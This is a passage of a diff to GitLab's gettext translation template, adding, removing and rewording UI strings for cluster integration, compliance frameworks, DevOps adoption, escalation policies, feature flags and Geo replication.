msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7843,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7891,9 +7717,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7915,21 +7738,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7954,27 +7765,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7990,12 +7786,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -8068,6 +7858,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8083,9 +7876,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8383,9 +8182,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8422,9 +8218,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8443,42 +8236,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8497,6 +8257,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8749,6 +8512,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9103,7 +8869,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9142,6 +8908,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9208,6 +8977,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9448,9 +9220,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9577,9 +9346,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9811,6 +9577,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9820,9 +9592,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9838,9 +9607,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9916,6 +9682,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10135,9 +9904,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10204,6 +9970,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10564,9 +10342,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10591,6 +10366,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10624,7 +10402,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10744,6 +10522,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11422,12 +11203,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11485,7 +11284,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11497,21 +11296,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11545,6 +11347,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11566,6 +11371,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11584,15 +11392,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11779,7 +11584,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11830,7 +11635,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11839,6 +11644,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12055,9 +11863,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12091,9 +11896,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12154,6 +11956,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12283,6 +12088,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12292,13 +12100,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12379,13 +12190,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12403,6 +12211,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12418,9 +12229,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12430,9 +12238,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12562,6 +12367,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12727,9 +12535,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13210,7 +13015,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13219,30 +13024,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13252,6 +13081,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13288,9 +13126,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13435,7 +13270,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13456,9 +13291,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13555,9 +13387,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13576,9 +13405,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13864,9 +13690,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13897,9 +13720,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13948,9 +13768,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13981,9 +13798,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13999,9 +13813,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14041,24 +13852,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14068,9 +13867,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14155,9 +13951,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14173,6 +13966,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14239,9 +14035,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14410,6 +14203,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14431,10 +14227,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14638,159 +14431,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14881,6 +14536,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14980,9 +14638,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15055,6 +14710,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15064,6 +14725,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15094,9 +14758,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15118,6 +14779,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15658,9 +15328,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15706,6 +15373,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15727,9 +15403,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15760,6 +15433,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15829,13 +15505,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15871,9 +15544,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16186,18 +15856,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16222,6 +15889,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
